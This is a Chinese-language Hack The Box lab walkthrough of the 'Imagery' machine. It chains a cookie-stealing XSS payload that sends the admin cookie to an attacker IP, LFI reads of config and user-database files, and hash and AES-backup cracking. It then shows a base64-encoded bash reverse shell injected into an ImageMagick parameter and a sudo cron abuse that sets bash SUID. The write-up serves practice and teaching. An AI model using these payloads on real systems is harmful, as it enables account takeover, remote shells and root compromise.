【HTB】Season9 Imagery Walkthrough
1. 立足点(Foothold)
1.1 端口扫描
渗透测试的第一步是进行目标主机的端口扫描,以识别开放的服务和潜在入口点。我们使用 Nmap 工具执行全面扫描,包括服务版本检测和 NSE 脚本扫描。扫描结果如下:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKyy0U7qSOOyGqKW/mnTdFIj9zkAcvMCMWnEhOoQFWUYio6eiBlaFBjhhHuM8hEM0tbeqFbnkQ+6SFDQw6VjP+E=
| 256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBleYkGyL8P6lEEXf1+1feCllblPfSRHnQ9znOKhcnNM
8000/tcp open http syn-ack ttl 63 Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
|_http-title: Image Gallery
| http-methods:
|_ Supported Methods: HEAD OPTIONS GET
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
关键发现:
- 22/tcp (SSH):开放 OpenSSH 服务,支持协议 2.0。主机密钥包括 ECDSA 和 ED25519 类型。测试连接发现仅支持公钥登录:
- 8000/tcp (HTTP):运行 Werkzeug 3.1.3(Python 3.12.7 Web 框架),标题为“Image Gallery”。支持 HEAD、OPTIONS 和 GET 方法,这是一个图片画廊应用,似乎是主要攻击面。
扩展讲解:Nmap 的 NSE(Nmap Scripting Engine)脚本扫描在 runlevel 1-3 中未发现额外漏洞,但服务指纹确认了 Python 环境,这为后续 Web 漏洞利用提供了线索。
1.2 目录扫描
针对 8000 端口的 Web 应用,我们使用 Feroxbuster 工具进行目录和文件爆破扫描,以发现隐藏端点。命令如下:
feroxbuster -u http://10.10.11.88:8000/
扫描结果显示了一些潜在目录,如 /register
、/admin
等。
1.3 Web 功能分析
访问 8000 端口的 Web 应用后,使用 WhatWeb 工具分析技术栈,确认其基于 Python 语言(Werkzeug 框架)。应用是一个图片画廊,支持用户交互。
我们最感兴趣的功能是登录系统:
功能概述:
- 注册与登录:用户可以注册新账号,然后登录。(注意用户名必须是邮箱格式,而不能是简单的用户名如
test
) - 图片上传:支持上传图片文件(受限于 MIME 类型和扩展名)。
- 图片管理:上传后可下载或删除图片,但其他高级功能(如编辑)需更高权限。
- 其他端点:包括“Report a Bug”报告页面,可能用于反馈。
1.4 XSS 漏洞利用
在多次尝试文件上传绕过(如双扩展、MIME 欺骗)失败后,我们转向“Report a Bug”功能。该功能允许提交 Bug 报告,管理员很可能查看提交内容,因此适合 XSS(跨站脚本)攻击。
构造 Payload:
<img src=1 onerror="document.location='http://10.10.14.xx/c/'+document.cookie"></img>"
提交后,在本地启动 Python HTTP 服务器监听(或使用 nc):
结果:管理员访问报告时触发 onerror 事件,窃取 Cookie 并发送到攻击者服务器。
扩展讲解:XSS 是一种注入恶意脚本的 Web 漏洞,此处为反射型 XSS(Reflected XSS)。Payload 使用 <img>
标签的 onerror 事件捕获 Cookie(document.cookie
)。
1.5 LFI 漏洞利用
使用窃取的 Cookie 登录管理员账号。为避免触发额外 XSS,我们可以用 Burp Suite 的拦截器阻塞无关请求。
在管理员面板中,发现“Download Log”功能存在 LFI(本地文件包含)漏洞。测试路径遍历:
- 绝对路径:
/etc/passwd
→ 成功读取系统用户文件。 - 路径穿越:
../../../../../../etc/passwd
→ 同样成功。
尝试读取应用源代码:
/app.py
或./app.py
→ 失败(可能限制相对路径读取)。/proc/self/cwd/app.py
→ 成功,揭示from config import *
导入。
进而读取 /proc/self/cwd/config.py
,获取配置文件:
import os
import ipaddressDATA_STORE_PATH = 'db.json'
UPLOAD_FOLDER = 'uploads'
SYSTEM_LOG_FOLDER = 'system_logs'os.makedirs(UPLOAD_FOLDER, exist_ok=True)
os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin'), exist_ok=True)
os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin', 'converted'), exist_ok=True)
os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin', 'transformed'), exist_ok=True)
os.makedirs(SYSTEM_LOG_FOLDER, exist_ok=True)MAX_LOGIN_ATTEMPTS = 10
ACCOUNT_LOCKOUT_DURATION_MINS = 1ALLOWED_MEDIA_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff', 'pdf'}
ALLOWED_IMAGE_EXTENSIONS_FOR_TRANSFORM = {'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff'}
ALLOWED_UPLOAD_MIME_TYPES = {'image/jpeg','image/png','image/gif','image/bmp','image/tiff','application/pdf'
}
ALLOWED_TRANSFORM_MIME_TYPES = {'image/jpeg','image/png','image/gif','image/bmp','image/tiff'
}
MAX_FILE_SIZE_MB = 1
MAX_FILE_SIZE_BYTES = MAX_FILE_SIZE_MB * 1024 * 1024BYPASS_LOCKOUT_HEADER = 'X-Bypass-Lockout'
BYPASS_LOCKOUT_VALUE = os.getenv('CRON_BYPASS_TOKEN', 'default-secret-token-for-dev')FORBIDDEN_EXTENSIONS = {'php', 'php3', 'php4', 'php5', 'phtml', 'exe', 'sh', 'bat', 'cmd', 'js', 'jsp', 'asp', 'aspx', 'cgi', 'pl', 'py', 'rb', 'dll', 'vbs', 'vbe', 'jse', 'wsf', 'wsh', 'psc1', 'ps1', 'jar', 'com', 'svg', 'xml', 'html', 'htm'}
BLOCKED_APP_PORTS = {8080, 8443, 3000, 5000, 8888, 53}
OUTBOUND_BLOCKED_PORTS = {80, 8080, 53, 5000, 8000, 22, 21}
PRIVATE_IP_RANGES = [ipaddress.ip_network('127.0.0.0/8'),ipaddress.ip_network('172.0.0.0/12'),ipaddress.ip_network('10.0.0.0/8'),ipaddress.ip_network('169.254.0.0/16')
]
AWS_METADATA_IP = ipaddress.ip_address('169.254.169.254')
IMAGEMAGICK_CONVERT_PATH = '/usr/bin/convert'
EXIFTOOL_PATH = '/usr/bin/exiftool'
发现 db.json
是用户数据存储路径。进而访问 /proc/self/cwd/db.json
获取用户列表和密码哈希。
使用 jq 提取用户名和哈希:
cat db.json | jq -r .users[].username
cat db.json | jq -r .users[].password
所有哈希使用 MD5 算法,可通过 Hashcat 破解(模式 -m 0,字典 rockyou.txt)。
2c65c8d7bfbca32a3ed42596192384f6:iambatman
扩展讲解:LFI 允许攻击者包含本地文件,常因路径未验证导致。/proc/self/cwd/
是进程当前工作目录的伪文件系统路径,利用它绕过相对路径限制。
1.6 命令注入利用
经过尝试可登录 testuser
账户,登录后解锁“Manage Groups”和图片编辑功能。
使用 testuser
账户,上传图片后测试编辑功能,并通过 Burp Suite 抓包分析:
- Edit Details:仅修改元数据,无漏洞。
- Convert Format:格式转换(jpg、BMP 等),无注入点。
- Transform Image:图片变换(裁切、旋转),传入
x
、y
、width
、height
参数。
从 config.py 确认使用 ImageMagick (/usr/bin/convert
) 处理图片。源码中 /apply_visual_transform
接口使用 shell=True
和字符串拼接,易受命令注入。
Payload:(任意坐标参数处注入)
"x":"0;`printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTEyLzQ0NDQgMD4mMSkgJg==|base64 -d|bash`;",
触发后,获得反向 Shell。
2. 权限提升(Root)
先跑一遍 linpeas(下图无关紧要)
2.1 pyAesCrypt 解密
查看计划任务:
web@Imagery:/opt/google/chrome$ crontab -l
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
# m h dom mon dow command
* * * * * python3 /home/web/web/bot/admin.py
有一个bot,好奇看一下源码:
web@Imagery:/opt/google/chrome$ cat /home/web/web/bot/admin.py
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import tempfile, shutil, time, traceback, uuid, os, glob# ----- Config -----
CHROME_BINARY = "/usr/bin/google-chrome"
USERNAME = "admin@imagery.htb"
PASSWORD = "strongsandofbeach"
BYPASS_TOKEN = "K7Zg9vB$24NmW!q8xR0p%tL!"
APP_URL = "http://0.0.0.0:8000"
# ------------------# Clean up old profiles
for folder in glob.glob("/tmp/chrome-profile-*"):try:shutil.rmtree(folder, ignore_errors=True)except Exception:pass# Check /tmp space
total, used, free = shutil.disk_usage("/tmp")
if free < 50 * 1024 * 1024:print(f"[!] WARNING: /tmp is low on space! Only {free / 1024 / 1024:.2f} MB free.")# Create new profile
user_data_dir = f"/tmp/chrome-profile-{uuid.uuid4()}"
os.makedirs(user_data_dir, exist_ok=True)# Configure Chrome
options = Options()
options.binary_location = CHROME_BINARY
options.add_argument("--headless=new")
options.add_argument("--no-sandbox")
options.add_argument("--disable-dev-shm-usage")
options.add_argument(f"--user-data-dir={user_data_dir}")
options.set_capability("goog:loggingPrefs", {"browser": "ALL"})driver = None
try:driver = webdriver.Chrome(options=options)print("[*] Browser started.")driver.get(APP_URL)WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, "navbar-links")))print("[*] Navigation bar loaded.")login_nav_button = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.ID, "nav-login")))login_nav_button.click()print("[*] Clicked 'Login' navigation button.")WebDriverWait(driver, 10).until(EC.visibility_of_element_located((By.ID, "loginPage")))print("[*] Login page content is now visible.")# Wait for input fieldsWebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, "loginEmail")))WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, "loginPassword")))driver.find_element(By.ID, "loginEmail").send_keys(USERNAME)driver.find_element(By.ID, "loginPassword").send_keys(PASSWORD)print("[*] Credentials filled.")# Inject bypass scriptdriver.execute_script(f"""const form = document.getElementById('loginForm');if (form && !form.dataset.injected) {{form.dataset.injected = 'true';console.log('[*] Bypass script injected');form.addEventListener('submit', async function(event) {{event.preventDefault();const username = document.getElementById('loginEmail').value;const password = document.getElementById('loginPassword').value;try {{const res = await fetch('/login', {{method: 'POST',headers: {{'Content-Type': 'application/json','X-Bypass-Lockout': '{BYPASS_TOKEN}'}},body: JSON.stringify({{ username, password }})}});const data = await res.json();if (data.success) {{console.log('[+] Login successful!');window.location.reload(); }} else {{console.error('[-] Login failed:', data.message);if (window.showMessage)window.showMessage(data.message, 'error');}}}} catch (e) {{console.error('[!] Fetch error:', e);if (window.showMessage)window.showMessage('Unexpected error during login.', 'error');}}}});}} else {{console.warn('[!] Login form not found or already injected.');}}""")print("[*] Login form bypass injected.")# Trigger form submitdriver.execute_script("document.getElementById('loginForm').dispatchEvent(new Event('submit'))")print("[*] Form submit triggered manually.")time.sleep(3)# Print browser console logs#browser_logs = driver.get_log("browser")#for entry in browser_logs:# msg = entry['message']# print(f"[browser log] {msg}")#if '[!]' in msg or 'error' in msg.lower():# print("[!] JS error detected:", msg)# Wait for admin panelWebDriverWait(driver, 20).until(EC.visibility_of_element_located((By.ID, "nav-admin-panel")))print("[+] Admin panel navigation link appeared, login likely successful.")driver.find_element(By.ID, "nav-admin-panel").click()print("[*] Navigated to Admin Panel page.")WebDriverWait(driver, 10).until(EC.visibility_of_element_located((By.ID, "admin-content-wrapper")))WebDriverWait(driver, 10).until(lambda d: d.find_element(By.ID, "admin-content-wrapper").get_attribute("style") == "" or"display: none" not in d.find_element(By.ID, "admin-content-wrapper").get_attribute("style"))print("[+] Admin Panel content wrapper is visible, page loaded correctly.")auth_status = driver.execute_async_script("""const done = arguments[0];fetch('/auth_status').then(res => res.json()).then(data => done(data)).catch(err => done({ error: String(err) }));""")print("[*] Auth Status:", auth_status)if auth_status.get("isAdmin"):print("[+] Admin status confirmed via /auth_status endpoint.")else:print("[-] User is not admin after login.")WebDriverWait(driver, 10).until(EC.visibility_of_element_located((By.ID, "user-list")))print("[*] User list section found in Admin Panel.")try:WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, "bug-reports-list")))print("[*] Bug reports list section found in Admin Panel.")except:print("[*] No bug reports list found — maybe no entries yet.")print("[*] Script finished successfully.")except Exception as e:print("[!] Exception during login and admin panel test:", e)traceback.print_exc()try:driver.save_screenshot("/tmp/selenium_failure.png")print("[*] Screenshot saved to /tmp/selenium_failure.png")except:pass
finally:if driver:print("[*] Quitting browser.")driver.quit()if os.path.exists(user_data_dir):print(f"[*] Cleaning up user data directory: {user_data_dir}")shutil.rmtree(user_data_dir, ignore_errors=True)
此外还发现一个 cron 任务(虽禁用):0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
。
检查 /var/backup/
可以看到有个 aes 加密的文件,将其下载到本地,使用 file
命令分析:
file web_20250806_120723.zip.aes
web_20250806_120723.zip.aes: AES encrypted data, version 2, created by "pyAesCrypt 6.1.1"
确认加密格式为 pyAesCrypt 6.1(AES-256-CBC,AES Crypt v2 格式)。使用 GitHub - pyAesCrypt 进行破解:
这里让ai写了个脚本:
import pyAesCrypt
import os
import sys# --- Configuration ---
ENCRYPTED_FILE = "web_20250806_120723.zip.aes"
DECRYPTED_FILE = "d.zip"
WORDLIST_PATH = "/usr/share/wordlists/rockyou.txt"
BUFFER_SIZE = 64 * 1024
# ---------------------print(f"[+] Starting dictionary attack on {ENCRYPTED_FILE} using {WORDLIST_PATH}...")try:with open(WORDLIST_PATH, 'r', encoding='latin-1') as f:for line in f:password = line.strip()if not password:continue# Uncomment to see every password attempt:# print(f"Trying: {password}")try:# Attempt decryptionpyAesCrypt.decryptFile(ENCRYPTED_FILE, DECRYPTED_FILE, password, BUFFER_SIZE)print(f"\n[+] SUCCESS! Password found: {password}")# Exit the script immediately upon successsys.exit(0)except ValueError:# This is the expected error for an incorrect password; simply ignore and continue.passexcept Exception as e:# Catch unexpected issues (e.g., file corruption)print(f"\n[-] FATAL ERROR: {e}")sys.exit(1)except FileNotFoundError:print(f"[-] ERROR: Wordlist file not found at: {WORDLIST_PATH}")sys.exit(1)# If the loop finishes without success
print("\n[-] FAIL: All passwords in the dictionary were attempted. Password not found.")
找到密码后解密:
pyAesCrypt web_20250806_120723.zip.aes -d
Password: # 输入密码bestfriends
解压后,在 db.json
找到 mark
用户哈希,破解得 supersmash
。因为登录不了 SSH,使用 su
切换到到 mark
,读取 user.txt
。
2.2 Sudo 权限滥用
登录 mark
后,检查 sudo 权限:
mark@Imagery:~$ sudo -l
Matching Defaults entries for mark on Imagery:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_ptyUser mark may run the following commands on Imagery:(ALL) NOPASSWD: /usr/local/bin/charcol
mark@Imagery:~$ sudo /usr/local/bin/charcol░██████ ░██ ░██ ░██ ░░██ ░██ ░██
░██ ░████████ ░██████ ░██░████ ░███████ ░███████ ░██
░██ ░██ ░██ ░██ ░███ ░██ ░██ ░██ ░██ ░██
░██ ░██ ░██ ░███████ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██████ ░██ ░██ ░█████░██ ░██ ░███████ ░███████ ░██ Charcol The Backup Suit - Development edition 1.0.0Charcol is already set up.
To enter the interactive shell, use: charcol shell
To see available commands and flags, use: charcol help
charcol
是备份工具(Development edition 1.0.0)。进入交互 Shell:
(remote) mark@Imagery:/home/mark$ sudo /usr/local/bin/charcol shell
...[INFO] Entering Charcol interactive shell. Type 'help' for commands, 'exit' to quit.
charcol> help
...
帮助显示支持 cron 任务管理,
那么我们添加一个 cron 任务:
charcol> auto add --schedule "* * * * *" --command "chmod +s /usr/bin/bash" --name "hack"
[2025-10-02 06:37:52] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm: [2025-10-02 06:37:55] [INFO] System password verified successfully.
[2025-10-02 06:37:55] [INFO] Auto job 'hack' (ID: 3b59359e-baca-4033-b6bf-fa4b4f82a7c6) added successfully. The job will run according to schedule.
[2025-10-02 06:37:55] [INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true chmod +s /usr/bin/bashcharcol> auto list
[2025-10-02 06:38:24] [INFO] Charcol-managed auto jobs:
[2025-10-02 06:38:24] [INFO] ID: 3b59359e-baca-4033-b6bf-fa4b4f82a7c6
[2025-10-02 06:38:24] [INFO] Name: hack
[2025-10-02 06:38:24] [INFO] Command: * * * * * CHARCOL_NON_INTERACTIVE=true chmod +s /usr/bin/bash
[2025-10-02 06:38:24] [INFO] ------------------------------
等待执行,即可获得一个root shell:
mark@Imagery:~$ bash -p
bash-5.2# id
uid=1002(mark) gid=1002(mark) euid=0(root) egid=0(root) groups=0(root),1002(mark)
bash-5.2# whoami
root
读取 root.txt
。
3. 总结
3.1 信息侦察与立足点获取
- 端口扫描:Nmap 识别 SSH 和两个 Python Web 服务,8000 端口的图片画廊成为主要入口。
- 注册与漏洞发现:通过 XSS 在“Report a Bug”中窃取管理员 Cookie,实现会话劫持。
3.2 内部信息收集与漏洞利用
- LFI:利用路径遍历读取
/etc/passwd
、config.py
和db.json
,暴露用户哈希和配置。 - 命令注入:在 ImageMagick 处理中注入 Bash 反向 Shell,获得 Web Shell。
- 代码分析:LFI 揭示
shell=True
的 subprocess 调用,确认注入可行性。
3.3 横向移动与凭证获取
- 备份文件:发现加密 ZIP,利用 pyAesCrypt 暴力破解,提取
db.json
中的mark
凭证。 - SSH 切换:使用
supersmash
登录mark
,完成用户 Flag 获取。
3.4 权限提升至 Root
- Sudo 滥用:
charcol
工具允许无验证 cron 注入,创建 SUID Bash。 - 提权执行:Cron 定时设置 SUID,执行后获得 root Shell。
整体评估:此机器强调 Web 漏洞链(XSS → LFI → 注入)和后渗透技巧(加密破解、SUID)。总耗时约 2-3 小时,难度中等。